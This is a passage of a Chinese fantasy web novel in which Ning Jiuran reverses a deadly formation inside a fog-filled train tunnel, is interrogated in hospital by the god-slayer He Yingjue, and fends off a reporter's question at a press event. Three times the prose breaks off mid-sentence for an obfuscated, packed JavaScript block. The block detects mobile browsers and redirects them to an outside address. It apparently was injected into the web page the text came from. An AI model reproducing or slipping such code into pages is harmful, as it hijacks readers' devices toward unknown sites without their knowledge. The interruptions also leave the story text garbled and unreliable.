宁九燃知道肖自云现在绝对气得要喷火,立马直切主题防止他把火喷出来:“主任,我有办法救人,需要您帮忙。” “你说什么?你知不知道……”肖自云走到角落把声音压低,“你……你不是请神司的人可能不了解,黑雾污染超过20%就无法挽回,上面都没有办法的事……你现在就别在这异想天开了……马上出来再晚没人救得了你!” “主任,我体质特殊,受黑雾污染的速度比一般人慢。”宁九燃语气平和,条理清晰地说道,“我不确定你会不会相信我,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554547|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你们这么久没有行动,是要放弃他们了吗?” 肖自云愣了一下,拿着手机的手紧了紧:“宁九燃,这件事跟你没关系,轮不到你来管……” “肖主任,我是认真的。”宁九燃提高音量,“这车上有上百人,还有那么多孩子,请神司难道不愿意再试一下就放弃他们吗?” 肖自云被戳到痛点,说不出话。 其实黑雾事件大部分都以惨烈收尾,最好的结果可能就是牺牲一些提灯人,救出一些丧失了神志的人。 所以,他理解请神司的选择,但他却没法那么果断。 “想办法让隧道和列车完全断电,我的火焰亮度极高,如果能穿透黑雾,可以在中心位置形成屏障,阻断掉血月与黑雾之间的联结,运气好的话,车里的人有五成把握都活下来。”宁九燃说,“肖主任,信我一次行吗?就算死也只是多死我一个。” “宁九燃,有句话我必须要说。”肖自云顿了下,把声音压到最低,“实话说,请神司可能确实没法救下这些人,你不插手现在出来,这是我们无能为力,你插了手,最后救不下人……就算不是你的错……可能也会……” “也会把责任推到我身上,对吧?”宁九燃接上话,“肖主任,谢谢您对我说这样的话。但是没关系,不管什么结果,我宁九燃做事绝不后悔。” “宁九燃你……”肖自云话音未落,电话突然挂断,再拨打时显示对方无法接通。 联系断了。 宁九燃看着黑掉的手机屏幕,有些无语地笑了声:“有点子倒霉啊,肖主任,就看你信不信我了。” 肖自云站在显示屏前,眉头紧皱。 列车停在这里已经超过1个小时,血月不知道什么时候会消失,黑雾的浓度还在升高。如果再没有任何行动,车上绝对难有幸存者。 不管宁九燃的想法有多么大胆冒险,她确实是最后的机会了。 “联系相关部门,断电!” 这边,林珰珰和辰刻也没闲着。 林珰珰借着自己特殊的陵鱼治愈能力,给几个先前抬出来的乘客建构了一个水波屏障,虽然没办法治愈他们,但却能缓解他们发狂的症状。 靠着她的能力,他们被允许进入保障区的核心室,可以看见穿山隧道的实时影像。 “听说刚刚有个人搭直升飞机跳进隧道里了……” “什么?她疯了吗?” “喏……”观察员把其中一个分屏调到十几分钟前,“你看。” “还真是……这什么人?请神司里好像没有这个人吧……”另一个观察员不可置信地看着屏幕,“这是搞什么?敢死队吗?” 站在一边的林珰珰瞥见屏幕上的影像,急忙拉了拉辰刻的袖子,低声:“九燃姐姐进隧道了,怎么办啊?” “我看见了。”辰刻盯着屏幕,似乎发现了别的什么,上前几步,“你好,能麻烦把画面的比例调小一点吗?” 观察员虽然不解,但看他俩一直在帮忙,调个画面不是什么大事,便配合照做了。 辰刻看着屏幕,眉头越皱越紧,突然想到了什么,伸手将神力凝聚在指尖开始勾画图案。 “你在画什么?这……”观察员看看辰刻画的纹路,又看看地表图像,“几天前这里起过好几处小面积山火,所以地面有一些烧秃的纹路,这怎么了吗?” “你们看,这几个形状像什么?”辰刻画下最后一笔,核心室里的观察员都围了上来。 其中一个人伸手指:“那个,看着有点像身长牛角的诸怀。” “没错。”辰刻边说边将四个图案连在一起,“东为毕方,南是祸斗,西起朱厌,北立诸怀,四合为圆,血月为引,中心的列车便是阵眼,这是……四凶阵。” “什么?这种阵法一旦触发,列车、指挥部都将受到毁灭性的攻击!“旁边的观察员惊道,”你确定吗?“ “这种阵法虽难辨识,但我过目不忘,不会看错。”辰刻慢慢把指尖落到阵法中心,“而触发条件就是……阵眼的烈火。” 6. 第6章 穿山隧道内,宁九燃安置好安昭和晕在地上的凌蔼,在边上找了个空座一坐。 现在没法对外通讯,能不能采取行动就只能赌在肖自云身上了。 不过,这个暗沼…… 想到他,宁九燃觉得自己拳头都硬了。 这个脑子打结的玩意,搞这么大一出不告诉她,还泄露她的长相,知道她肯定会插手又假模假样地留个人告诉她这是主教大人的计划,膈应人真是有一手。 “早知道昨晚就赌一把弄死你好了。”宁九燃捏着手指,对着空气真诚地叹息。虽然不一定弄得死,但怎么着也能出口气,“等着,早晚让你没影子。” 话音刚落,整个列车瞬间全部熄灯,连隧道的灯也全灭了。 好兆头。 开工。 “我记得宁九燃昨天用的就是火吧?她现在在里面,万一用了火的话……”辰刻盯着画出的阵眼看了两秒,惊道,“林珰珰,你打电话给宁九燃,我们现在必须马上通知指挥室!” “好!”林珰珰脸色变得苍白,手指飞快地翻开手机,差点把手机摔落。 手机滴了几声,显示无人接听,挂了再打依旧如此。 林珰珰快哭了:“怎么办?打不通啊……” 观察员们虽然没有完全听明白,但凭借多年专业素养迅速判断出事情的严重性,立马拨通指挥室的通讯:“这里是保障区,请接到肖自云主任,黑雾区以隧道为阵眼设有四凶阵,请务必阻止阵眼出现任何火源,请务必阻止阵眼出现任何火源……” “……请务必阻止阵眼出现任何火源……” 肖自云点开通讯的手一僵,感觉浑身的血在涌入头颅后从天灵盖开始冷却。 车厢内,宁九燃周身的神力运作完毕,汇于双手掌心,神相渐渐显现。 被气流冲开的长发底端变成了深红,金瞳中掺着血色,眼尾亮起红色的羽印。 如果见多识广的肖自云在这里,他可能会认出这是凤凰的法相,而不是什么他之前以为的火鹤。 宁九燃分开双手,羽印光芒骤亮,轻念:“万火燎原。” 一瞬间,夺目的火焰喷涌而出,如同势不可挡的凤凰翻出无尽火海。 保障区核心室里,辰刻看着车厢冲天的红光以及接次亮起的四柱,感觉四肢有些僵硬发冷。 身后的林珰珰已经捂上了眼睛。 还是来不及了吗?宁九燃…… 四柱一旦全亮,汇于阵眼,阵法就会开启。 除了神迹,还有谁能救他们? “不,不……”肖自云看着最后一柱就要亮起,大吼,“快开保护禁制!” 就在这一瞬间,指挥室里的灯光全部熄灭,一闪一闪的绿色应急灯没了声音,只剩凝固的绿光,空气凝滞如深海,好像连呼吸声都被抽走。 最后一柱仿佛被按了暂停键,迟迟没有亮起来。 “怎……怎么回事?”肖自云僵硬的手拍上看着跟卡住了似的屏幕,声线因情绪大幅波动而止不住颤抖。 助理连滚带爬地冲进来,手拼命往外指:“主任,外……外面,外面!” 肖自云控制住虚浮的脚步跑出去。 暗色的天空下,巨大的烛龙神印笼罩住了指挥室和整个黑雾区,银色的光纹被血色缠绕。 血色掠过整个神印聚拢于中心,一个居高临下的身影慢慢浮现。 玄黑的弑神者服饰勾勒着暗红的烛龙噬月纹,陨铁镂空扣链与青铜坠饰敲击出令人头皮发麻的回音,手上的黑色手套泛着神秘的光泽。 他每踏一步,脚下都会撕开银色的纹路,目无所视,宁静的神色却让人喘不上气。 因为,他把时空都踩在了脚下。 “弑神者,弑……神者!” 从指挥区跑出的人纷纷俯身。 赫应决停在了肖自云面前,垂眸冷视。 肖自云大喘一口气,低着头:“弑……弑神者,穿山隧道里面还有很多人,黑雾浓度太高,提灯人没法进去……这里还有四凶阵……” “肖自云,你是第一天做外勤部主任么?”赫应决的声音沉冷,听不出情绪,“看不出四凶阵,也管不好手下的人。” “我……”肖自云的头越垂越低,鬓角的汗珠不停滑落,“是我的失职。” “不想听废话。”赫应决转过身看着黑雾区,“黑雾会影响神印的稳定,一旦时停不稳,四凶阵就会开启。里面的人能不能联系上?” “黑雾干扰信号,联系断掉了。”肖自云赶忙答道。 赫应决摘下一个圆扣配饰,手指搭在上面注入神力,两只黑色的蝴蝶飞了出来,其中一只向隧道方向飞去。 传音蝶。肖自云认出这两只蝴蝶,这是一种特殊的神印,他还是第一次见有人能施展。 不一会,赫应决面前的蝴蝶亮了一下,蝴蝶找到要传音的人了。 “她叫什么名字?”赫应决问。 “啊……什么?”肖自云愣了一下。 “里面的人,昨天用火的那个女孩,叫什么名字?”赫应决看着隧道的方向。 “她……她叫宁九燃。”肖自云硬着头皮答道,心中叫苦不迭:他怎么记住了那丫头?这可不是好事…… 赫应决伸手让蝴蝶停在自己的指尖:“宁九燃。” 没有回复。 赫应决又喊了一声,依然没有回复。他看向肖自云:“你确定她是清醒的?” 肖自云被这长久的安静弄得心又沉了几寸,本就还没回温的手脚重新开始发麻。 受黑雾影响较弱只是宁九燃的一面之词,这丫头不会真出事了吧…… 这时,蝴蝶又亮了一下,先是一声叹气,随后一个带着点无奈的轻快女声传了出来: “在这么诡异的环境下突然出个声,外面这位声音很好听的兄台,把我吓死你能给我批工伤吗?” 宁九燃的燎原之火施展到一半,忽然全部停滞住。 这突如其来的变故和熟悉的停止让她立马意识到有事不对劲,万幸的是身体没有被停住。 宁九燃刚准备走出车厢到外面看一眼情况,却感觉身后有什么东西在轻轻飘拂,她保持紧绷的状态一动不动,心跳慢慢提了上来。 连杂音都没有的车厢里响起清晰的男声: “宁九燃。” 声音还挺好听,宁九燃让受惊的心脏平缓下来,在那边喊了第二声的时候相当无奈地回了句玩笑。 结果那头安静了下,语气颇为认真地说道:“能批。” 我谢谢你哈,但我可没想死。 “外面这位素未谋面的帅哥,声音这么好听我就当你是帅哥了。”宁九燃面朝蝴蝶托着脸说,声音有些郁闷,“这是怎么个情况呢?这熟悉的静止让我有点不祥的预感……感觉像是某位弑神者大人的招式啊……” 听见宁九燃的声音,一旁的肖自云本来已经松了口气,乍一听到宁九燃这不着调的调笑,着急得恨不得窜进隧道把她嘴捂上,在赫应决身后冲着蝴蝶张牙舞爪了半天,但又不敢上前插嘴。 “你的预感是对的。”赫应决看着居然没生气,语气十分平和,“宁九燃,我是赫应决。” 赫应决?好像是确实他的声音…… 宁九燃双手托脸,眼睛一转,忽然笑了:“原来是弑神者大人亲临啊。” 赫应决:“你所在的地方是四凶阵的阵眼,只差一柱阵法就要启动了,我的时停在高浓度黑雾下未必能完全稳定,你如果脑子还清醒就现在出来,减少伤亡。” 四凶阵?暗沼那个狗东西看来是料定了我会出手,一旦触发,我虽然死不了,但是可能还不如死了。 宁九燃听到自己的后牙槽发出咯吱声。先前想到暗沼会留后手,却没想到会狠到这种地步。 不过当下,还是先处理好眼前的事。 “如果我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554548|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,剩下的这些人呢?” 蝴蝶那头传来声音:“你觉得呢?” “弑神者大人,我有个办法可以破除四凶阵,但还需要一点点时间。只要四凶阵能破,我的火焰可以切断黑雾与血月的联结,车上的人都能得救。“宁九燃一边说一边从车厢内翻出来,往隧道的中心摸索。 四凶阵虽以隧道为阵眼,但它主要的能量会聚在某一点。 “宁九燃,如果破不了呢?如果在你破除之前,四凶阵就启动了呢?你要跟他们一起死吗?”赫应决的声音从蝴蝶里传出。 “那您要放弃他们吗?”宁九燃问。 “如果不放弃他们,在场所有提灯人都会面临危险。宁九燃,我不会给你时间。”赫应决说完,转身面向所有在场人员,“三分钟之内,所有人从这里撤离,到时候我会收掉神印,四凶阵启动的能量足以彻底清除黑雾,这是最不糟糕的结果。” 所有人不敢反驳,应声开始撤退,黑雾区边缘的提灯人也收到指令迅速往安全地带跑去。 赫应决看向站在自己身边不动的肖自云,冷声:“你做什么?” “弑神者大人,我……总司的指令是我们必须等到黑雾彻底清除才能离开,他们走,我先留下,不敢违抗总司指令。”肖自云低头答,余光一直瞟向隧道方向。 “不敢……违抗?”赫应决微微俯身,瞳孔掠过红光,“你昨天骗我的时候……胆子不是挺大的吗?” “我……”肖自云的头皮阵阵发麻,就差扑通一声跪下了。 “那个……”这时,蝴蝶里传出宁九燃的声音,“我想明白了,现在就出来,弑神者大人能不能再多给我三分钟。我想把那个凌蔼拖出来,她是昨天案件的重要证人。” 赫应决瞥了眼肖自云,答道:“五分钟之内滚出来,多一秒生死自负。” “多谢!”宁九燃的声音听着还挺开心,“那个,您和肖主任要不先撤?万一等会没压住炸了,也减少点伤亡嘛。肖主任,你有听见吗?” “我……我听见了,我现在就撤,你赶紧出来!案子什么的没你命重要!”肖自云也不顾赫应决在边上了,提高音量冲蝴蝶喊了几句。 确认肖自云已经往安全带撤离后,宁九燃俯身挪开隧道里的一块石头,石头下的地面滚烫发亮。 这是四凶阵的能量汇集点。 人们都知四凶阵一旦启动,就没有破解之法。但是,鲜有人知阵法可逆。 赫应决作为弑神者,从大局考虑优先保住外面的提灯人没有任何问题。 但我一定要救下这些人。不管是安昭,作为关键证人的凌蔼,还是那些被伪神教拖累的无辜之人,不能莫名其妙死在这里。 宁九燃咬破食指,以血逆阵。 “希望赫应决能稳住神印,五分钟,足够了。” 三分钟后,一道冲天的红光乍现,在击穿云层的同时,咆哮的烈火沿着红光从天降下,聚于阵眼后剧烈地爆炸。 巨大的声响让走出没多远的肖自云大脑一片空白,神色震惊地回头:“宁九燃!” 保障区核心室,从看到赫应决起以为有转机的辰刻站在屏幕前,手心瞬间沁出冷汗,一旁的林珰珰惊叫出声。 而高坡之上,俯瞰着隧道的赫应决散去右手的结印,红色的瞳孔微缩,身边飘飞的蝴蝶落在他的肩头。 逆转阵法,以身抗火。 这样也要翻盘么…… “快!黑雾污染浓度已经很低了!所有人去救人!”肖自云急得面红耳赤,边冲通讯器大吼边一马当先地冲了下去。 提灯人们从震惊中回神,立刻训练有素地返回隧道开始施救。 赫应决站了许久,一步一步走下坡,看着冲进隧道的提灯人和慢慢暗下去的血月,耳边是熙攘的喧嚣。 这时,一点还亮着的火星顺着风飘到了他面前。 赫应决伸出手,火星落到了他的掌心。 7. 第7章 火焰就像熔掉的岩浆,很烫。 宁九燃把神力聚在周身护住自己,她得出去。 她记得她逆转阵法,让能量倒行击穿阵眼的能量汇集之地,自己则以火抗火,凝结火焰护盾对上残余的能量攻击,防止列车上的人受伤。 但是因为时间紧迫,逆转之阵的能量终究不比原阵,残余能量之强超出了她的想象,最后不得已以神格真身抵挡爆炸攻击。 不过应该死不了。 火焰一股股滑落,看不到尽头边缘,被撕开后,却是一片昏暗。 这好像是一个……房间? 房间的布置非常简约,只有一张床和一些桌椅,桌上摆着个太阳形状的台灯,给房间添了几分生气。 这是哪儿?宁九燃有些摸不着头脑。 这时,浴室传出脚步声,门“哐当”被推开,一个半身裹着浴巾的男子走了出来,水汽弥漫之下可以看见上身若隐若现的肌肉线条。 有点非礼勿视。宁九燃刚想背过身,男子却看向她出声:“你怎么现在就来了?” 声音、文字包括终于看清的脸让宁九燃陡然信息过载,整个人从头僵到尾,脑子嗡得像几百列火车同时开过。 “呼”,宁九燃大喘一口气,肋骨一疼,睁开了眼。 视线模糊了几秒,逐渐清晰的雪白天花板让她感到无比的亲切。她能感觉到自己身上缠了不少纱布,左脚和右手都被固定住,空气中一股消毒水味。 这应该是医院,看来我还全须全尾地活着。 宁九燃又轻轻吸几口气,平复心跳,没死也差点要被刚才那种梦吓死了。 缓过劲后,她开始自我反思,虽然一直觉得赫应决的长相极其符合她的审美,但也没有……没有馋到以这种形式梦到他的地步吧。 我这么变态……这么胆大包天的吗? 宁九燃感觉自己的人格摇摇欲坠。 旁边有人听到声响,探过头来,一张脸唰的出现在宁九燃的视线里。 “宁九燃,你醒啦!” 是一个不认识的人,看着年纪二十出头,额前的短发挑染了一缕彩毛,脖子上架着个耳机,长得颇好的五官透出点痞气,就是这衣服…… 宁九燃这辈子都没在一件衣服上见到过这么多颜色。 “你是?”宁九燃张开嘴,发现嗓子非常嘶哑。 男子爽朗一笑,伸出右手:“你好,我叫路嘲风,神格是蜃龙,两天前刚加入外勤七组。” 见宁九燃的手被固定住,路嘲风便换了左手跟宁九燃握了下,然后挪了张凳子挨着床边坐下。 这架势……不聊两句好像不合适。 宁九燃开口问:“现在……什么情况?” “是这样的,我打听过,那天列车上的人全救下来了,反而是你伤的最重。身上大面积烧伤,左腿、右手、肋骨都严重骨折,你被从废墟里挖出来的时候,林珰珰当场就哭了。对了,你家人……应该是姓唐的那位阿姨,看了新闻来了好几次,但是因为你情况不稳定一直不允许司外人员探视。”路嘲风把凳子往前挪了挪,“你足足昏迷了五天,前三天一直高烧不退,神力乱窜动不动就冒火,被子都烧了十几床,这两天才好些。你这次可立了大功,又是无惧牺牲孤身入黑雾区,又是逆转四凶阵焚尽黑雾,最后还以身保护公民,司里的领导都来了好几波,就是你一直没醒……” 这家伙看着不像是来了两天的,像是来了两年的。 “无惧牺牲?孤身冒险?”宁九燃没忍住咳了两声,现在这么夸我吗?当时可不是这么说的…… “当然,你可是我辈楷模,我看过资料,你比我大一岁,我可以叫你燃姐吗?”路嘲风神情有些亢奋。 比我还自来熟…… 宁九燃点了点头。 路嘲风往门口方向看了眼,然后凑近宁九燃低声说:“你猜,还有谁来过你这?” “谁?”宁九燃艰难地从喉咙里蹦出一个字。 “那位……”路嘲风把声音压得不能再低,“那位弑神者,赫应决。” 宁九燃现在最不想听到的就是这个名字了。 “林珰珰跟我说这个人太危险,所以这几天我、林珰珰还有辰刻都是轮流请假来陪床的,今天刚好轮到我,就碰上你醒啦。”路嘲风语气里满是兴奋。 “辛苦你们了,多谢。”宁九燃看着路嘲风,真切地说。 “别跟我们客气,大家都是朋友,我刚刚给他俩发消息,林珰珰说她到楼下了。”路嘲风站起身,“她买了很多东西提不动,我去帮她拎一下哈。” 路嘲风关上门后,宁九燃躺在床上默想了一会。 请神司的大门才摸过一回,临时工都还没当上,自己这样出生入死可真是太敬业了。这身伤,但凡换个人都撑不住。 不过人既然都救下来了,常清一案就有了突破口,至于暗沼,下次回伪神教主殿再跟他算账…… 宁九燃咳了两声,感觉喉咙发干,扭头看右面桌子上有热水壶便撑起身体去够。但是热水壶放得远,右手不能动,左手用力去伸就会牵动肋骨的伤。 龇牙咧嘴地试了好几次,宁九燃叹了口气,“啪嗒”一下躺回床里。 这住的是几楼啊?路嘲风他们怎么还没回来? 宁九燃扭头去看窗外,外面的天气好得有些过分,让她这个四肢不便躺着的人格外憋屈。 晴朗无风,窗户里可以看见的树冠像漂亮的油画,连鸟…… 不对。 醒来的时候明明听到此起彼伏的鸟叫声,可是现在却出奇的安静,就好像……好像停止了。 做了下心理建设,宁九燃扯着沙哑的嗓子说道:“弑神者大人,我这是为了公民安危英勇负伤。你来都来了,就别干站在外面着看我笑话了吧。” 门被推开。 今天的赫应决看着和上次见面不太一样。 他褪去弑神者服饰,穿了身宝石蓝的风衣,内搭贴身的高领黑衬衫,领口缀着几颗小光点,腕间戴了一支看上去就价值不菲的复古机械表。 没了银发红瞳的法相,他的眸色黑得纯粹,却像曜石一样有着惑人的吸引力。 做那种梦真不怪我。 宁九燃错过脸去,怕压不住自己的歹意又要乱做梦。 “弑神者大人是代表总司来探望我的吗?我面子还真大……”见赫应决盯着她不说话,宁九燃试图打破这种尴尬,“但排场就不必这么大了吧,时停禁制都用上了。” 赫应决上前几步,立在她的床前,开口:“宁九燃,我问你一个问题,你如果说谎,我就杀了你。” 这不就……把天聊死了嘛。 宁九燃翻过面直视赫应决的眼睛。 这个人就算不显露神相,实力和地位铸就的压迫感还是能让人心里发毛。但说实话,宁九燃没那么怕他,从第一次见面就没那么怕他。 可能是色令智昏吧。 万恶的第一印象加上能包天的胆子,让宁九燃听了这样直白的威胁之后还能笑出来:“弑神者大人,咱俩一共就接触过三次,其中一次还没见着面,您已经要杀我两次了。我一个小小的……呃您应该知道了……连临时工都算不上的人,何德何能费您这么大的劲?” “我问,你答。”赫应决显然不想跟她开玩笑。 脸长的好,情商大约是没救了。 宁九燃一脸没趣地瘫在床上,看着天花板,说:“行,问吧。”就听见耳边有风带过,赫应决忽然俯下身贴近她,近到几乎可以听清楚彼此的呼吸,但他眼中的寒意却让这个姿势没有半分暧昧,反而充满了审视和杀机。 他看着宁九燃的眼睛,加重语气一字一顿:“你和司道是什么关系?” 司道?又是司道……怎么一个两个都对司道这么感兴趣? 司道不是请神司前任弑神者吗?你这个现任弑神者难道还有什么不清楚的? 这些疑惑只在宁九燃脑海里迅速过了一遍,但从外面看,她好像只是听到了个不熟悉的名字皱了下眉,脸上浮起真实的困惑,反问道:“司道……我听说是上一任弑神者,七年前就已经那什么,我跟她有什么关系啊?” 赫应决没动,凝视着宁九燃,似乎在看她的破绽:“没有关系?” 宁九燃感觉呼吸变得艰难起来,某人故技重施又想掐死她。 但这事她是真问心无愧。虽然调查司道死因是她此行的目的,但她确确实实跟这个司道没有半点关系,知道的那么点信息还都是主教告诉她的。 “大哥,你讲点道理好吗?我都不认识她,能跟她有什么关系?”宁九燃挣扎着用力喘几口气,感觉浑身的骨头都痛起来,“她死的时候我才十四岁啊,都没觉醒神格,我能跟你们请神司的最高弑神者搭上什么关系?你别动不动就要打要杀的……” 说完,她忍着痛拧出一个坦然的神情看着赫应决。 反正没说谎,理直气也壮。 半晌,赫应决收了神力,站直身体,又问:“宁九燃,你的神格是火鹤? “对啊。”宁九燃缓过来,没好气地说。 “我从来没听说过,一个S级别的火鹤神格者可以凭借三重神相的神力,以火穿透黑雾,硬抗四凶阵,甚至还不怎么受黑雾影响,你到底什么来头?”赫应决微微眯起眼。他的眼睛生的极其好看,睁开时的一眼就能让人心驰神往,但眯起眼又完全是一副生人勿近的危险模样。 “弑神者大人,首先,穿透黑雾我几乎耗尽了神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554549|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,其次,硬抗四凶阵的结果就是我变成了这样,最后,受黑雾影响较慢是天生的。我可立下了大功,你不能因为这些就觉得我心怀不轨、来路不明吧?” 宁九燃躺在床上,就剩下嘴皮子可以自由活动了,只好把三寸不烂之舌发挥到极致。 赫应决看着她说完这番话,也不知道信了几分,似笑非笑地说了句:”我会查清楚我想要知道的。来日方长,宁九燃。“ 他把最后三个字咬得稍重,有股说不清道不明的意味。 “您随意。”宁九燃冲他假笑一下,嘟囔着,“弑神者大人,跟您聊这么半天我要渴死了,劳您大驾帮我把那个水壶挪近点,我这个伤残人士想自己倒杯水喝行吗?” 其实宁九燃也就随口一说,没想赫应决真的折返回来,走到右面的桌子上拿起了水壶。 诶,居然还是有点良心的。宁九燃一脸稀奇地看着他,然后就看见赫应决慢慢把水壶放到了个宁九燃再长一只手都拿不到的位置,看了她一眼之后就走了。 虽然他脸上没表情,但宁九燃已经脑补出了一万个得逞的坏笑。 夸早了,见鬼的良心,分明是歹心。 赫应决这人仗着神力强大,不知道什么时候才了解开时停的禁制,等到路嘲风和林珰珰拎着大包小包跑进来的时候,宁九燃感觉自己已经快渴成干尸了。 又气又渴的宁九燃哐哐喝掉两大杯水,吓得林珰珰差点又要叫医生。 “没事小铃铛,我就是被人气的,需要降个火。”宁九燃放下杯子,直切主题,“凌蔼现在人在哪里?” “好像这次案件闹得太大,相关的卷宗和人员都直接被调到总司去了。”林珰珰说,”不过姐姐你也不用担心,这个案子两天前就结案了,你立大功,已经正式加入外勤七组成为临时工了。“ “结案了?”宁九燃诧异地看向林珰珰,这么复杂的案子,这么几天就结案了? “对,可能总司那边办案效率更高吧,我看过结案报告了,根据那个凌……凌蔼的陈述,是常清和凌晓雨有了交易方面的纠纷,一时冲动杀了凌晓雨,然后又想找两个人嫁祸。凌蔼收到的短信也是常清提前编辑的,就是在隧道那设伏想要灭口。”林珰珰打开手机,详细地说完,抬头看见宁九燃越来越沉的神色,“姐姐,怎么了吗?” “这个结案报告……”宁九燃扯了扯嘴角,想问出的“你信么”又咽了回去,“没事,结案了就好。“ 算了,还是不要把他们拉进来了。毕竟跟他们没关系。 门又被敲响,林珰珰去开了门。 人设不倒的肖主任地火急火燎地进来了,车钥匙都还卡在裤兜缝上没塞进去,也不知道这次有没有把车开墙上。 宁九燃举起被包成大白汤圆的左爪,冲肖自云晃了晃,笑了。 肖自云看这丫头跟个木乃伊似的还能笑出来,提了数日的心跟他的大手一块落到宁九燃的头上:“你……你也就是命大啊宁九燃。” “嗷!”宁九燃声音沙哑地嚎了一嗓子,惊得肖自云赶忙缩回手,却见宁九燃切换脸色晃着脑袋笑,“开玩笑啦肖主任!” 这些天,为黑雾事件善后让肖自云忙得脚不沾地,每天还定时关注宁九燃的状况,几天下来肖自云眼底见青,现下看出宁九燃有心逗他,终于笑了出来,长出的皱纹似乎都抚平了几条。 闲聊几句后,宁九燃突然转了个话题:“主任,提灯人大赛是不是快要开赛了?” “对啊。”肖自云正打量着病房里还缺什么,随口应着,“怎么?想要去看比赛?作为奖励,我可以帮你弄几张初赛的门票去观摩学习一下,决赛的抢不到你就别想了。” “就非得是看吗?”宁九燃举起圆滚滚的手,“就不能去参加吗?” “参赛?”房间里剩下三人齐齐看向宁九燃,好像听到了什么异想天开的事。 宁九燃睁着个大眼,无辜地从左看到右:“怎么了吗?” “那个,姐姐,提灯人大赛的参赛资格特别难获取,大部分会被四大家族的优秀子弟垄断,剩下的会参考当地请神司的实力,那个……”林珰珰瞄了眼肖自云,小声嗫嚅,“我们司已经好几届……” “好几届没拿名次了?”宁九燃觉得这不是问题。 “好几届没有参赛名额了。”肖自云没好气地说,伸手摸了下宁九燃的脑袋,“你这丫头别做梦了,三个月后的转正才是你的正事,好好休息,过两天还有记者采访会。我还有事先走了。” 宁九燃乖巧地点点头。 等肖自云出门走远了,她招呼林珰珰和路嘲风走到近旁,低声道:“记者会之前,能不能帮我办两件事?” 没名额么?那是平海分司还不曾拥有我宁九燃。 8. 第8章 宁九燃伤得不轻,但好在都没有伤到要害,而且她本就是火系神格,对火系伤害的愈合力较强。再加上请神司专属医院的各种顶级医疗资源的倾斜,十天后,她就拆下了满身的纱布和固定器,差不多能够行动自如了。 出院那天,除了平海分司的三部主任,还有平海城各大电视台的记者都来到病房,一堆人硬生生把豪华病房挤得水泄不通。 宁九燃换上了笔挺的请神司统一制服,齐齐整整地被推到了镜头和闪光灯前。 平海城这次的黑雾事件闹得沸沸扬扬,公民人心惶惶,除了总司,连四大家族的人都来过问。 宁九燃昏迷养伤这段时间,肖自云忙得昏天黑地,整个平海分司费了九牛二虎之力才平定好后续的风波。现在等宁九燃以英雄的形象接受完采访和表彰,事情就能尘埃落定了。 采访的媒体记者大部分是请神司准备好的,提的问题也都挨个挑过字眼,以重固公民对请神司的信心为旨归。 宁九燃昨晚被肖自云耳提面命地背了一晚上稿子,应付起来倒也不算很难,就是有点费口水。 对完稿子上最后一个问题,宁九燃接到肖自云的手势,准备说两句对请神司的肺腑之言来结尾,一个站在后排的记者突然挤上前来,举着微缩摄像机,将话筒递到宁九燃面前: “你好,我是城西晚报的记者,我还有一个问题,据我们掌握的资料,黑雾事件发生时您还不是提灯人,甚至不是临时工,只是一名临时编外人员。我们想知道外勤部派遣一位临时编外人员负责这样大的公共性危机,是否考虑过失败的风险?是否是对公民人身安全的不负责呢?” 站在边上的肖自云神情眉头一皱。 没有经过报备的问题! 这里确实埋了个很大的雷,一个编外人员怎么能够接触到这样的任务? 先前为了避免不良影响,平海分司火速上报并通过了宁九燃的临时工申请,保密了她的入职信息。可这个记者不知道从哪里弄到消息,并且看着铁了心要挖出爆点。 如果宁九燃答不好,这些天做下的公关可能会功亏一篑。但是这次采访时全程直播,上前阻止反而显得更心虚。 正想着,宁九燃微微靠近话筒,语气平稳地开了口:“请神司千年来一直以公民安全为第一要务,这也是提灯人的天职和使命,这位记者朋友,你是在质疑请神司吗?” 聪明啊!肖自云暗想,把矛头调转到整个请神司身上……而请神司本就是不可质疑的存在。 “当然,我想联邦的任何一个公民都不会去质疑请神司对公民的守护。”宁九燃柔和了神情,面露微笑,“这位记者朋友想问的肯定是,我作为一名编外人员为什么会有这样的能力,并得到请神司这样的信任?” 记者前面被扣了好大一顶帽子,这会宁九燃给了个台阶,就马不停蹄地下了:“是的是的,我们非常好奇您作为一名编外人员,怎么会具备如此强大的实力去应对这样的公共性危机?” 这该怎么接?肖自云看向宁九燃这如常的脸色,右手在背后快扭成麻花,不知道该不该叫停采访。 “因为,我不仅仅是一名普通的编外人员……”宁九燃说到这,顿了一下看向肖自云,神情仿佛在征求他的意见,然后得令般地转过头,对着镜头面带微笑地说,“其实这是我们平海分司外勤部的计划,我们是司里专门挑选培养的人才,在成为临时工之前受过专业训练,所以才会有较为出色的实力。” 什么玩意? 肖自云一脸茫然。 “这是什么计划?方便向我们大家透露一下吗?”记者继续问。 